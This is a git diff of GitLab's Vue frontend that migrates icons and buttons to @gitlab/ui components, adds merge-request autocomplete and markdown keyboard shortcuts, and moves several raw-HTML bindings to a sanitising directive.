diff --git a/app/assets/javascripts/vue_shared/components/gl_mentions.vue b/app/assets/javascripts/vue_shared/components/gl_mentions.vue
index 00bc46257ed..da4b0aedef5 100644
--- a/app/assets/javascripts/vue_shared/components/gl_mentions.vue
+++ b/app/assets/javascripts/vue_shared/components/gl_mentions.vue
@@ -9,6 +9,7 @@ const AutoComplete = {
Issues: 'issues',
Labels: 'labels',
Members: 'members',
+ MergeRequests: 'mergeRequests',
};
function doesCurrentLineStartWith(searchString, fullText, selectionStart) {
@@ -99,6 +100,14 @@ const autoCompleteMap = {
${icon}`;
},
},
+ [AutoComplete.MergeRequests]: {
+ filterValues() {
+ return this[AutoComplete.MergeRequests];
+ },
+ menuItemTemplate({ original }) {
+ return `<small>${original.reference || original.iid}</small> ${escape(original.title)}`;
+ },
+ },
};
export default {
@@ -139,6 +148,13 @@ export default {
: `~${original.title}`,
values: this.getValues(AutoComplete.Labels),
},
+ {
+ trigger: '!',
+ lookup: value => value.iid + value.title,
+ menuItemTemplate: autoCompleteMap[AutoComplete.MergeRequests].menuItemTemplate,
+ selectTemplate: ({ original }) => original.reference || `!${original.iid}`,
+ values: this.getValues(AutoComplete.MergeRequests),
+ },
],
});
diff --git a/app/assets/javascripts/vue_shared/components/header_ci_component.vue b/app/assets/javascripts/vue_shared/components/header_ci_component.vue
index 2625fcc9d09..6ff6f10f786 100644
--- a/app/assets/javascripts/vue_shared/components/header_ci_component.vue
+++ b/app/assets/javascripts/vue_shared/components/header_ci_component.vue
@@ -1,4 +1,5 @@
<script>
+/* eslint-disable vue/no-v-html */
import { GlTooltipDirective, GlLink, GlDeprecatedButton } from '@gitlab/ui';
import { __, sprintf } from '~/locale';
import CiIconBadge from './ci_badge_link.vue';
diff --git a/app/assets/javascripts/vue_shared/components/help_popover.vue b/app/assets/javascripts/vue_shared/components/help_popover.vue
index a57fa09f753..7154360611f 100644
--- a/app/assets/javascripts/vue_shared/components/help_popover.vue
+++ b/app/assets/javascripts/vue_shared/components/help_popover.vue
@@ -1,6 +1,6 @@
<script>
import $ from 'jquery';
-import Icon from '~/vue_shared/components/icon.vue';
+import { GlIcon } from '@gitlab/ui';
import { inserted } from '~/feature_highlight/feature_highlight_helper';
import { mouseenter, debouncedMouseleave, togglePopover } from '~/shared/popover';
@@ -11,7 +11,7 @@ import { mouseenter, debouncedMouseleave, togglePopover } from '~/shared/popover
export default {
name: 'HelpPopover',
components: {
- Icon,
+ GlIcon,
},
props: {
options: {
@@ -44,6 +44,6 @@ export default {
</script>
<template>
<button type="button" class="btn btn-blank btn-transparent btn-help" tabindex="0">
- <icon name="question" />
+ <gl-icon name="question" />
</button>
</template>
diff --git a/app/assets/javascripts/vue_shared/components/icon.vue b/app/assets/javascripts/vue_shared/components/icon.vue
deleted file mode 100644
index 68eeadf0f25..00000000000
--- a/app/assets/javascripts/vue_shared/components/icon.vue
+++ /dev/null
@@ -1,72 +0,0 @@
-<script>
-import iconsPath from '@gitlab/svgs/dist/icons.svg';
-
-// only allow classes in images.scss e.g. s12
-const validSizes = [8, 10, 12, 14, 16, 18, 24, 32, 48, 72];
-let iconValidator = () => true;
-
-/*
- During development/tests we want to validate that we are just using icons that are actually defined
-*/
-if (process.env.NODE_ENV !== 'production') {
- // eslint-disable-next-line global-require
- const data = require('@gitlab/svgs/dist/icons.json');
- const { icons } = data;
- iconValidator = value => {
- if (icons.includes(value)) {
- return true;
- }
- // eslint-disable-next-line no-console
- console.warn(`Icon '${value}' is not a known icon of @gitlab/gitlab-svg`);
- return false;
- };
-}
-
-/** This is a re-usable vue component for rendering a svg sprite icon
- * @example
- * <icon
- * name="retry"
- * :size="32"
- * class="top"
- * />
- */
-export default {
- props: {
- name: {
- type: String,
- required: true,
- validator: iconValidator,
- },
-
- size: {
- type: Number,
- required: false,
- default: 16,
- validator: value => validSizes.includes(value),
- },
- },
-
- computed: {
- spriteHref() {
- return `${iconsPath}#${this.name}`;
- },
- iconTestClass() {
- return `ic-${this.name}`;
- },
- iconSizeClass() {
- return this.size ? `s${this.size}` : '';
- },
- },
-};
-</script>
-
-<template>
- <svg
- :key="spriteHref"
- :class="[iconSizeClass, iconTestClass]"
- aria-hidden="true"
- v-on="$listeners"
- >
- <use v-bind="{ 'xlink:href': spriteHref }" />
- </svg>
-</template>
diff --git a/app/assets/javascripts/vue_shared/components/issue/issue_milestone.vue b/app/assets/javascripts/vue_shared/components/issue/issue_milestone.vue
index cfbc5b0df3c..c745ea61f8b 100644
--- a/app/assets/javascripts/vue_shared/components/issue/issue_milestone.vue
+++ b/app/assets/javascripts/vue_shared/components/issue/issue_milestone.vue
@@ -1,13 +1,12 @@
<script>
-import { GlTooltip } from '@gitlab/ui';
+import { GlTooltip, GlIcon } from '@gitlab/ui';
import { __, sprintf } from '~/locale';
import timeagoMixin from '~/vue_shared/mixins/timeago';
import { timeFor, parsePikadayDate, dateInWords } from '~/lib/utils/datetime_utility';
-import Icon from '~/vue_shared/components/icon.vue';
export default {
components: {
- Icon,
+ GlIcon,
GlTooltip,
},
mixins: [timeagoMixin],
@@ -73,7 +72,7 @@ export default {
</script>
<template>
<div ref="milestoneDetails" class="issue-milestone-details">
- <icon :size="16" class="inline icon" name="clock" />
+ <gl-icon :size="16" class="gl-mr-2" name="clock" />
<span class="milestone-title d-inline-block">{{ milestone.title }}</span>
<gl-tooltip :target="() => $refs.milestoneDetails" placement="bottom" class="js-item-milestone">
<span class="bold">{{ __('Milestone') }}</span> <br />
diff --git a/app/assets/javascripts/vue_shared/components/issue/related_issuable_item.vue b/app/assets/javascripts/vue_shared/components/issue/related_issuable_item.vue
index 1662e7923b7..2ff4033a07e 100644
--- a/app/assets/javascripts/vue_shared/components/issue/related_issuable_item.vue
+++ b/app/assets/javascripts/vue_shared/components/issue/related_issuable_item.vue
@@ -1,6 +1,7 @@
<script>
+/* eslint-disable vue/no-v-html */
import '~/commons/bootstrap';
-import { GlIcon, GlTooltip, GlTooltipDirective } from '@gitlab/ui';
+import { GlIcon, GlTooltip, GlTooltipDirective, GlButton } from '@gitlab/ui';
import { sprintf } from '~/locale';
import IssueMilestone from './issue_milestone.vue';
import IssueAssignees from './issue_assignees.vue';
@@ -18,6 +19,7 @@ export default {
GlTooltip,
IssueWeight: () => import('ee_component/boards/components/issue_card_weight.vue'),
IssueDueDate,
+ GlButton,
},
directives: {
GlTooltip: GlTooltipDirective,
@@ -29,6 +31,16 @@ export default {
required: false,
default: false,
},
+ isLocked: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ lockedMessage: {
+ type: String,
+ required: false,
+ default: '',
+ },
},
computed: {
stateTitle() {
@@ -156,19 +168,27 @@ export default {
</div>
</div>
- <button
- v-if="canRemove"
+ <span
+ v-if="isLocked"
+ ref="lockIcon"
+ v-gl-tooltip
+ class="gl-px-3 gl-display-inline-block gl-cursor-not-allowed"
+ :title="lockedMessage"
+ >
+ <gl-icon name="lock" />
+ </span>
+ <gl-button
+ v-else-if="canRemove"
ref="removeButton"
v-gl-tooltip
+ icon="close"
+ category="tertiary"
:disabled="removeDisabled"
- type="button"
- class="btn btn-default btn-svg btn-item-remove js-issue-item-remove-button"
+ class="js-issue-item-remove-button gl-ml-3"
data-qa-selector="remove_related_issue_button"
:title="__('Remove')"
:aria-label="__('Remove')"
@click="onRemoveRequest"
- >
- <icon :size="16" class="btn-item-remove-icon" name="close" />
- </button>
+ />
</div>
</template>
diff --git a/app/assets/javascripts/vue_shared/components/lib/utils/diff_utils.js b/app/assets/javascripts/vue_shared/components/lib/utils/diff_utils.js
index 188ab1769a4..221c4f5b8a8 100644
--- a/app/assets/javascripts/vue_shared/components/lib/utils/diff_utils.js
+++ b/app/assets/javascripts/vue_shared/components/lib/utils/diff_utils.js
@@ -1,5 +1,3 @@
-/* eslint-disable import/prefer-default-export */
-
function trimFirstCharOfLineContent(text) {
if (!text) {
return text;
diff --git a/app/assets/javascripts/vue_shared/components/markdown/field.vue b/app/assets/javascripts/vue_shared/components/markdown/field.vue
index 6df0119c3db..a48c279d0e3 100644
--- a/app/assets/javascripts/vue_shared/components/markdown/field.vue
+++ b/app/assets/javascripts/vue_shared/components/markdown/field.vue
@@ -1,14 +1,15 @@
<script>
+/* eslint-disable vue/no-v-html */
import $ from 'jquery';
import '~/behaviors/markdown/render_gfm';
import { unescape } from 'lodash';
+import { GlIcon } from '@gitlab/ui';
import { __, sprintf } from '~/locale';
import { stripHtml } from '~/lib/utils/text_utility';
import { deprecatedCreateFlash as Flash } from '~/flash';
import GLForm from '~/gl_form';
import MarkdownHeader from './header.vue';
import MarkdownToolbar from './toolbar.vue';
-import Icon from '../icon.vue';
import GlMentions from '~/vue_shared/components/gl_mentions.vue';
import Suggestions from '~/vue_shared/components/markdown/suggestions.vue';
import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
@@ -19,7 +20,7 @@ export default {
GlMentions,
MarkdownHeader,
MarkdownToolbar,
- Icon,
+ GlIcon,
Suggestions,
},
mixins: [glFeatureFlagsMixin()],
@@ -168,11 +169,12 @@ export default {
emojis: this.enableAutocomplete,
members: this.enableAutocomplete && !this.glFeatures.tributeAutocomplete,
issues: this.enableAutocomplete && !this.glFeatures.tributeAutocomplete,
- mergeRequests: this.enableAutocomplete,
+ mergeRequests: this.enableAutocomplete && !this.glFeatures.tributeAutocomplete,
epics: this.enableAutocomplete,
milestones: this.enableAutocomplete,
labels: this.enableAutocomplete && !this.glFeatures.tributeAutocomplete,
snippets: this.enableAutocomplete,
+ vulnerabilities: this.enableAutocomplete,
});
},
beforeDestroy() {
@@ -254,7 +256,7 @@ export default {
href="#"
:aria-label="__('Leave zen mode')"
>
- <icon :size="16" name="screen-normal" />
+ <gl-icon :size="16" name="minimize" />
</a>
<markdown-toolbar
:markdown-docs-path="markdownDocsPath"
diff --git a/app/assets/javascripts/vue_shared/components/markdown/header.vue b/app/assets/javascripts/vue_shared/components/markdown/header.vue
index 7e6edcfbd25..d0a0560846a 100644
--- a/app/assets/javascripts/vue_shared/components/markdown/header.vue
+++ b/app/assets/javascripts/vue_shared/components/markdown/header.vue
@@ -1,15 +1,15 @@
<script>
import $ from 'jquery';
-import { GlPopover, GlButton, GlTooltipDirective } from '@gitlab/ui';
+import { GlPopover, GlButton, GlTooltipDirective, GlIcon } from '@gitlab/ui';
+import { s__ } from '~/locale';
import { getSelectedFragment } from '~/lib/utils/common_utils';
import { CopyAsGFM } from '../../../behaviors/markdown/copy_as_gfm';
import ToolbarButton from './toolbar_button.vue';
-import Icon from '../icon.vue';
export default {
components: {
ToolbarButton,
- Icon,
+ GlIcon,
GlPopover,
GlButton,
},
@@ -55,6 +55,15 @@ export default {
mdSuggestion() {
return ['```suggestion:-0+0', `{text}`, '```'].join('\n');
},
+ isMac() {
+ // Accessing properties using ?. to allow tests to use
+ // this component without setting up window.gl.client.
+ // In production, window.gl.client should always be present.
+ return Boolean(window.gl?.client?.isMac);
+ },
+ modifierKey() {
+ return this.isMac ? '⌘' : s__('KeyboardKey|Ctrl+');
+ },
},
mounted() {
$(document).on('markdown-preview:show.vue', this.previewMarkdownTab);
@@ -129,8 +138,22 @@ export default {
</li>
<li :class="{ active: !previewMarkdown }" class="md-header-toolbar">
<div class="d-inline-block">
- <toolbar-button tag="**" :button-title="__('Add bold text')" icon="bold" />
- <toolbar-button tag="*" :button-title="__('Add italic text')" icon="italic" />
+ <toolbar-button
+ tag="**"
+ :button-title="
+ sprintf(s__('MarkdownEditor|Add bold text (%{modifierKey}B)'), { modifierKey })
+ "
+ shortcuts="mod+b"
+ icon="bold"
+ />
+ <toolbar-button
+ tag="_"
+ :button-title="
+ sprintf(s__('MarkdownEditor|Add italic text (%{modifierKey}I)'), { modifierKey })
+ "
+ shortcuts="mod+i"
+ icon="italic"
+ />
<toolbar-button
:prepend="true"
:tag="tag"
@@ -181,7 +204,10 @@ export default {
<toolbar-button
tag="[{text}](url)"
tag-select="url"
- :button-title="__('Add a link')"
+ :button-title="
+ sprintf(s__('MarkdownEditor|Add a link (%{modifierKey}K)'), { modifierKey })
+ "
+ shortcuts="mod+k"
icon="link"
/>
</div>
@@ -221,7 +247,7 @@ export default {
:title="__('Go full screen')"
type="button"
>
- <icon name="screen-full" />
+ <gl-icon name="maximize" />
</button>
</div>
</li>
diff --git a/app/assets/javascripts/vue_shared/components/markdown/suggestion_diff_header.vue b/app/assets/javascripts/vue_shared/components/markdown/suggestion_diff_header.vue
index 4de80e9b4c2..1fc54d2f52e 100644
--- a/app/assets/javascripts/vue_shared/components/markdown/suggestion_diff_header.vue
+++ b/app/assets/javascripts/vue_shared/components/markdown/suggestion_diff_header.vue
@@ -1,11 +1,10 @@
<script>
-import { GlDeprecatedButton, GlLoadingIcon, GlTooltipDirective } from '@gitlab/ui';
-import Icon from '~/vue_shared/components/icon.vue';
+import { GlButton, GlLoadingIcon, GlTooltipDirective, GlIcon } from '@gitlab/ui';
import { __ } from '~/locale';
import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
export default {
- components: { Icon, GlDeprecatedButton, GlLoadingIcon },
+ components: { GlIcon, GlButton, GlLoadingIcon },
directives: { 'gl-tooltip': GlTooltipDirective },
mixins: [glFeatureFlagsMixin()],
props: {
@@ -97,7 +96,7 @@ export default {
<div class="qa-suggestion-diff-header js-suggestion-diff-header font-weight-bold">
{{ __('Suggested change') }}
<a v-if="helpPagePath" :href="helpPagePath" :aria-label="__('Help')" class="js-help-btn">
- <icon name="question-o" css-classes="link-highlight" />
+ <gl-icon name="question-o" css-classes="link-highlight" />
</a>
</div>
<div v-if="isApplied" class="badge badge-success">{{ __('Applied') }}</div>
@@ -106,14 +105,14 @@ export default {
<span>{{ applyingSuggestionsMessage }}</span>
</div>
<div v-else-if="canApply && canBeBatched && isBatched" class="d-flex align-items-center">
- <gl-deprecated-button
+ <gl-button
class="btn-inverted js-remove-from-batch-btn btn-grouped"
:disabled="isApplying"
@click="removeSuggestionFromBatch"
>
{{ __('Remove from batch') }}
- </gl-deprecated-button>
- <gl-deprecated-button
+ </gl-button>
+ <gl-button
v-gl-tooltip.viewport="__('This also resolves all related threads')"
class="btn-inverted js-apply-batch-btn btn-grouped"
:disabled="isApplying"
@@ -124,26 +123,26 @@ export default {
<span class="badge badge-pill badge-pill-success">
{{ batchSuggestionsCount }}
</span>
- </gl-deprecated-button>
+ </gl-button>
</div>
<div v-else class="d-flex align-items-center">
- <gl-deprecated-button
+ <gl-button
v-if="canBeBatched && !isDisableButton"
class="btn-inverted js-add-to-batch-btn btn-grouped"
:disabled="isDisableButton"
@click="addSuggestionToBatch"
>
{{ __('Add suggestion to batch') }}
- </gl-deprecated-button>
+ </gl-button>
<span v-gl-tooltip.viewport="tooltipMessage" tabindex="0">
- <gl-deprecated-button
+ <gl-button
class="btn-inverted js-apply-btn btn-grouped"
:disabled="isDisableButton"
variant="success"
@click="applySuggestion"
>
{{ __('Apply suggestion') }}
- </gl-deprecated-button>
+ </gl-button>
</span>
</div>
</div>
diff --git a/app/assets/javascripts/vue_shared/components/markdown/suggestion_diff_row.vue b/app/assets/javascripts/vue_shared/components/markdown/suggestion_diff_row.vue
index 112bd03b49b..9059f0d2a8b 100644
--- a/app/assets/javascripts/vue_shared/components/markdown/suggestion_diff_row.vue
+++ b/app/assets/javascripts/vue_shared/components/markdown/suggestion_diff_row.vue
@@ -1,4 +1,5 @@
<script>
+/* eslint-disable vue/no-v-html */
export default {
name: 'SuggestionDiffRow',
props: {
@@ -26,9 +27,14 @@ export default {
<td class="diff-line-num new_line border-top-0 border-bottom-0" :class="lineType">
{{ line.new_line }}
</td>
- <td class="line_content" :class="[{ 'd-table-cell': displayAsCell }, lineType]">
- <span v-if="line.rich_text" v-html="line.rich_text"></span>
- <span v-else-if="line.text">{{ line.text }}</span>
+ <td
+ class="line_content"
+ :class="[{ 'd-table-cell': displayAsCell }, lineType]"
+ data-testid="suggestion-diff-content"
+ >
+ <span v-if="line.rich_text" class="line" v-html="line.rich_text"></span>
+ <span v-else-if="line.text" class="line">{{ line.text }}</span>
+ <span v-else class="line"></span>
</td>
</tr>
</template>
diff --git a/app/assets/javascripts/vue_shared/components/markdown/suggestions.vue b/app/assets/javascripts/vue_shared/components/markdown/suggestions.vue
index 1216484b35f..083f581af05 100644
--- a/app/assets/javascripts/vue_shared/components/markdown/suggestions.vue
+++ b/app/assets/javascripts/vue_shared/components/markdown/suggestions.vue
@@ -1,10 +1,14 @@
<script>
import Vue from 'vue';
+import { GlSafeHtmlDirective as SafeHtml } from '@gitlab/ui';
import { __ } from '~/locale';
import SuggestionDiff from './suggestion_diff.vue';
import { deprecatedCreateFlash as Flash } from '~/flash';
export default {
+ directives: {
+ SafeHtml,
+ },
props: {
lineType: {
type: String,
@@ -115,6 +119,6 @@ export default {
<template>
<div>
<div class="flash-container js-suggestions-flash"></div>
- <div v-show="isRendered" ref="container" class="md" v-html="noteHtml"></div>
+ <div v-show="isRendered" ref="container" v-safe-html="noteHtml" class="md"></div>
</div>
</template>
diff --git a/app/assets/javascripts/vue_shared/components/markdown/toolbar_button.vue b/app/assets/javascripts/vue_shared/components/markdown/toolbar_button.vue
index f37dd9e171c..6c35741e7e5 100644
--- a/app/assets/javascripts/vue_shared/components/markdown/toolbar_button.vue
+++ b/app/assets/javascripts/vue_shared/components/markdown/toolbar_button.vue
@@ -1,10 +1,9 @@
<script>
-import { GlTooltipDirective } from '@gitlab/ui';
-import Icon from '../icon.vue';
+import { GlTooltipDirective, GlIcon } from '@gitlab/ui';
export default {
components: {
- Icon,
+ GlIcon,
},
directives: {
GlTooltip: GlTooltipDirective,
@@ -47,6 +46,26 @@ export default {
required: false,
default: 0,
},
+
+ /**
+ * A string (or an array of strings) of
+ * [mousetrap](https://craig.is/killing/mice) keyboard shortcuts
+ * that should be attached to this button. For example:
+ * "command+k"
+ * ...or...
+ * ["command+k", "ctrl+k"]
+ */
+ shortcuts: {
+ type: [String, Array],
+ required: false,
+ default: () => [],
+ },
+ },
+ computed: {
+ shortcutsString() {
+ const shortcutArray = Array.isArray(this.shortcuts) ? this.shortcuts : [this.shortcuts];
+ return JSON.stringify(shortcutArray);
+ },
},
};
</script>
@@ -60,6 +79,7 @@ export default {
:data-md-block="tagBlock"
:data-md-tag-content="tagContent"
:data-md-prepend="prepend"
+ :data-md-shortcuts="shortcutsString"
:title="buttonTitle"
:aria-label="buttonTitle"
type="button"
@@ -67,6 +87,6 @@ export default {
data-container="body"
@click="() => $emit('click')"
>
- <icon :name="icon" />
+ <gl-icon :name="icon" />
</button>
</template>
diff --git a/app/assets/javascripts/vue_shared/components/modal_copy_button.vue b/app/assets/javascripts/vue_shared/components/modal_copy_button.vue
index 69ba5cb97e2..35ba7c665d5 100644
--- a/app/assets/javascripts/vue_shared/components/modal_copy_button.vue
+++ b/app/assets/javascripts/vue_shared/components/modal_copy_button.vue
@@ -1,14 +1,13 @@
<script>
import $ from 'jquery';
-import { GlDeprecatedButton, GlTooltipDirective } from '@gitlab/ui';
+import { GlDeprecatedButton, GlTooltipDirective, GlIcon } from '@gitlab/ui';
import Clipboard from 'clipboard';
import { __ } from '~/locale';
-import Icon from '~/vue_shared/components/icon.vue';
export default {
components: {
GlDeprecatedButton,
- Icon,
+ GlIcon,
},
directives: {
@@ -121,7 +120,7 @@ export default {
:title="title"
>
<slot>
- <icon name="copy-to-clipboard" />
+ <gl-icon name="copy-to-clipboard" />
</slot>
</gl-deprecated-button>
</template>
diff --git a/app/assets/javascripts/vue_shared/components/notes/noteable_warning.vue b/app/assets/javascripts/vue_shared/components/notes/noteable_warning.vue
index f986b105f20..c12012d8419 100644
--- a/app/assets/javascripts/vue_shared/components/notes/noteable_warning.vue
+++ b/app/assets/javascripts/vue_shared/components/notes/noteable_warning.vue
@@ -1,8 +1,8 @@
<script>
-import { GlLink } from '@gitlab/ui';
+/* eslint-disable vue/no-v-html */
+import { GlLink, GlIcon } from '@gitlab/ui';
import { escape } from 'lodash';
import { __, sprintf } from '~/locale';
-import icon from '../icon.vue';
function buildDocsLinkStart(path) {
return `<a href="${escape(path)}" target="_blank" rel="noopener noreferrer">`;
@@ -16,7 +16,7 @@ const NoteableTypeText = {
export default {
components: {
- icon,
+ GlIcon,
GlLink,
},
props: {
@@ -89,7 +89,7 @@ export default {
</script>
<template>
<div class="issuable-note-warning">
- <icon v-if="!isLockedAndConfidential" :name="warningIcon" :size="16" class="icon inline" />
+ <gl-icon v-if="!isLockedAndConfidential" :name="warningIcon" :size="16" class="icon inline" />
<span v-if="isLockedAndConfidential" ref="lockedAndConfidential">
<span v-html="confidentialAndLockedDiscussionText"></span>
diff --git a/app/assets/javascripts/vue_shared/components/notes/skeleton_note.vue b/app/assets/javascripts/vue_shared/components/notes/skeleton_note.vue
index e75ac8c54bc..53dbae39608 100644
--- a/app/assets/javascripts/vue_shared/components/notes/skeleton_note.vue
+++ b/app/assets/javascripts/vue_shared/components/notes/skeleton_note.vue
@@ -1,5 +1,5 @@
<script>
-import { GlSkeletonLoading } from '@gitlab/ui';
+import { GlDeprecatedSkeletonLoading as GlSkeletonLoading } from '@gitlab/ui';
import TimelineEntryItem from '~/vue_shared/components/notes/timeline_entry_item.vue';
export default {
diff --git a/app/assets/javascripts/vue_shared/components/notes/system_note.vue b/app/assets/javascripts/vue_shared/components/notes/system_note.vue
index fe57d4f29ca..f30676e8ef3 100644
--- a/app/assets/javascripts/vue_shared/components/notes/system_note.vue
+++ b/app/assets/javascripts/vue_shared/components/notes/system_note.vue
@@ -1,4 +1,6 @@
<script>
+/* eslint-disable vue/no-v-html */
+
/**
* Common component to render a system note, icon and user information.
*
@@ -18,10 +20,15 @@
*/
import $ from 'jquery';
import { mapGetters, mapActions, mapState } from 'vuex';
-import { GlDeprecatedButton, GlSkeletonLoading, GlTooltipDirective } from '@gitlab/ui';
+import {
+ GlButton,
+ GlDeprecatedSkeletonLoading as GlSkeletonLoading,
+ GlTooltipDirective,
+ GlIcon,
+ GlSafeHtmlDirective as SafeHtml,
+} from '@gitlab/ui';
import descriptionVersionHistoryMixin from 'ee_else_ce/notes/mixins/description_version_history';
import noteHeader from '~/notes/components/note_header.vue';
-import Icon from '~/vue_shared/components/icon.vue';
import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import TimelineEntryItem from './timeline_entry_item.vue';
import { spriteIcon } from '../../../lib/utils/common_utils';
@@ -32,14 +39,15 @@ const MAX_VISIBLE_COMMIT_LIST_COUNT = 3;
export default {
name: 'SystemNote',
components: {
- Icon,
+ GlIcon,
noteHeader,
TimelineEntryItem,
- GlDeprecatedButton,
+ GlButton,
GlSkeletonLoading,
},
directives: {
GlTooltip: GlTooltipDirective,
+ SafeHtml,
},
mixins: [descriptionVersionHistoryMixin, glFeatureFlagsMixin()],
props: {
@@ -104,25 +112,28 @@ export default {
<div class="timeline-content">
<div class="note-header">
<note-header :author="note.author" :created-at="note.created_at" :note-id="note.id">
- <span v-html="actionTextHtml"></span>
+ <span v-safe-html="actionTextHtml"></span>
<template v-if="canSeeDescriptionVersion" slot="extra-controls">
&middot;
- <button type="button" class="btn-blank btn-link" @click="toggleDescriptionVersion">
- {{ __('Compare with previous version') }}
- <icon :name="descriptionVersionToggleIcon" :size="12" class="append-left-5" />
- </button>
+ <gl-button
+ variant="link"
+ :icon="descriptionVersionToggleIcon"
+ data-testid="compare-btn"
+ @click="toggleDescriptionVersion"
+ >{{ __('Compare with previous version') }}</gl-button
+ >
</template>
</note-header>
</div>
<div class="note-body">
<div
+ v-safe-html="note.note_html"
:class="{ 'system-note-commit-list': hasMoreCommits, 'hide-shade': expanded }"
class="note-text md"
- v-html="note.note_html"
></div>
<div v-if="hasMoreCommits" class="flex-list">
<div class="system-note-commit-list-toggler flex-row" @click="expanded = !expanded">
- <icon :name="toggleIcon" :size="8" class="gl-mr-2" />
+ <gl-icon :name="toggleIcon" :size="8" class="gl-mr-2" />
<span>{{ __('Toggle commit list') }}</span>
</div>
</div>
@@ -130,17 +141,18 @@ export default {
<pre v-if="isLoadingDescriptionVersion" class="loading-state">
<gl-skeleton-loading />
</pre>
- <pre v-else class="wrapper mt-2" v-html="descriptionVersion"></pre>
- <gl-deprecated-button
+ <pre v-else v-safe-html="descriptionVersion" class="wrapper mt-2"></pre>
+ <gl-button
v-if="displayDeleteButton"
- ref="deleteDescriptionVersionButton"
v-gl-tooltip
:title="__('Remove description history')"
- class="btn-transparent delete-description-history"
+ variant="default"
+ category="tertiary"
+ icon="remove"
+ class="delete-description-history"
+ data-testid="delete-description-version-button"
@click="deleteDescriptionVersion"
- >
- <icon name="remove" />
- </gl-deprecated-button>
+ />
</div>
</div>
</div>
diff --git a/app/assets/javascripts/vue_shared/components/project_selector/project_list_item.vue b/app/assets/javascripts/vue_shared/components/project_selector/project_list_item.vue
index e053a9ddaa6..154671fe9fa 100644
--- a/app/assets/javascripts/vue_shared/components/project_selector/project_list_item.vue
+++ b/app/assets/javascripts/vue_shared/components/project_selector/project_list_item.vue
@@ -1,14 +1,14 @@
<script>
-import { GlDeprecatedButton } from '@gitlab/ui';
+/* eslint-disable vue/no-v-html */
+import { GlButton, GlIcon } from '@gitlab/ui';
import { isString } from 'lodash';
-import Icon from '~/vue_shared/components/icon.vue';
import ProjectAvatar from '~/vue_shared/components/project_avatar/default.vue';
import highlight from '~/lib/utils/highlight';
import { truncateNamespace } from '~/lib/utils/text_utility';
export default {
name: 'ProjectListItem',
- components: { Icon, ProjectAvatar, GlDeprecatedButton },
+ components: { GlIcon, ProjectAvatar, GlButton },
props: {
project: {
type: Object,
@@ -40,17 +40,16 @@ export default {
};
</script>
<template>
- <gl-deprecated-button
- class="d-flex align-items-center btn pt-1 pb-1 border-0 project-list-item"
+ <gl-button
+ category="tertiary"
+ class="gl-display-flex gl-align-items-center gl-justify-content-start! gl-mb-2 gl-w-full"
@click="onClick"
>
- <icon
- class="gl-ml-3 gl-mr-3 flex-shrink-0 position-top-0 js-selected-icon"
- :class="{ 'js-selected visible': selected, 'js-unselected invisible': !selected }"
- name="mobile-issue-close"
- />
- <project-avatar class="flex-shrink-0 js-project-avatar" :project="project" :size="32" />
- <div class="d-flex flex-wrap project-namespace-name-container">
+ <div
+ class="gl-display-flex gl-align-items-center gl-flex-wrap project-namespace-name-container"
+ >
+ <gl-icon v-if="selected" class="js-selected-icon" name="mobile-issue-close" />
+ <project-avatar class="gl-flex-shrink-0 js-project-avatar" :project="project" :size="32" />
<div
v-if="truncatedNamespace"
:title="projectNameWithNamespace"
@@ -65,5 +64,5 @@ export default {
v-html="highlightedProjectName"
></div>
</div>
- </gl-deprecated-button>
+ </gl-button>
</template>
diff --git a/app/assets/javascripts/vue_shared/components/project_selector/project_selector.vue b/app/assets/javascripts/vue_shared/components/project_selector/project_selector.vue
index 0b91588a006..4e2029cd74f 100644
--- a/app/assets/javascripts/vue_shared/components/project_selector/project_selector.vue
+++ b/app/assets/javascripts/vue_shared/components/project_selector/project_selector.vue
@@ -100,7 +100,7 @@ export default {
@bottomReached="bottomReached"
>
<template v-if="!showLoadingIndicator" #items>
- <div class="d-flex flex-column">
+ <div class="gl-display-flex gl-flex-direction-column gl-p-3">
<project-list-item
v-for="project in projectSearchResults"
:key="project.id"
diff --git a/app/assets/javascripts/vue_shared/components/recaptcha_modal.vue b/app/assets/javascripts/vue_shared/components/recaptcha_modal.vue
index 25701df33f3..fc1f3675a3d 100644
--- a/app/assets/javascripts/vue_shared/components/recaptcha_modal.vue
+++ b/app/assets/javascripts/vue_shared/components/recaptcha_modal.vue
@@ -1,4 +1,5 @@
<script>
+/* eslint-disable vue/no-v-html */
import DeprecatedModal from './deprecated_modal.vue';
import { eventHub } from './recaptcha_eventhub';
diff --git a/app/assets/javascripts/vue_shared/components/registry/code_instruction.vue b/app/assets/javascripts/vue_shared/components/registry/code_instruction.vue
new file mode 100644
index 00000000000..08ee23d25bf
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/registry/code_instruction.vue
@@ -0,0 +1,82 @@
+<script>
+import { uniqueId } from 'lodash';
+import ClipboardButton from '~/vue_shared/components/clipboard_button.vue';
+import Tracking from '~/tracking';
+
+export default {
+ name: 'CodeInstruction',
+ components: {
+ ClipboardButton,
+ },
+ mixins: [Tracking.mixin()],
+ props: {
+ label: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ instruction: {
+ type: String,
+ required: true,
+ },
+ copyText: {
+ type: String,
+ required: true,
+ },
+ multiline: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ trackingAction: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ trackingLabel: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ },
+ created() {
+ this.uniqueId = uniqueId();
+ },
+ methods: {
+ trackCopy() {
+ if (this.trackingAction) {
+ this.track(this.trackingAction, { label: this.trackingLabel });
+ }
+ },
+ generateFormId(name) {
+ return `${name}_${this.uniqueId}`;
+ },
+ },
+};
+</script>
+
+<template>
+ <div v-if="!multiline" class="gl-mb-3">
+ <label v-if="label" :for="generateFormId('instruction-input')">{{ label }}</label>
+ <div class="input-group gl-mb-3">
+ <input
+ :id="generateFormId('instruction-input')"
+ :value="instruction"
+ type="text"
+ class="form-control gl-font-monospace"
+ data-testid="instruction-input"
+ readonly
+ @copy="trackCopy"
+ />
+ <span class="input-group-append" data-testid="instruction-button" @click="trackCopy">
+ <clipboard-button :text="instruction" :title="copyText" class="input-group-text" />
+ </span>
+ </div>
+ </div>
+
+ <div v-else>
+ <pre class="gl-font-monospace" data-testid="multiline-instruction" @copy="trackCopy">{{
+ instruction
+ }}</pre>
+ </div>
+</template>
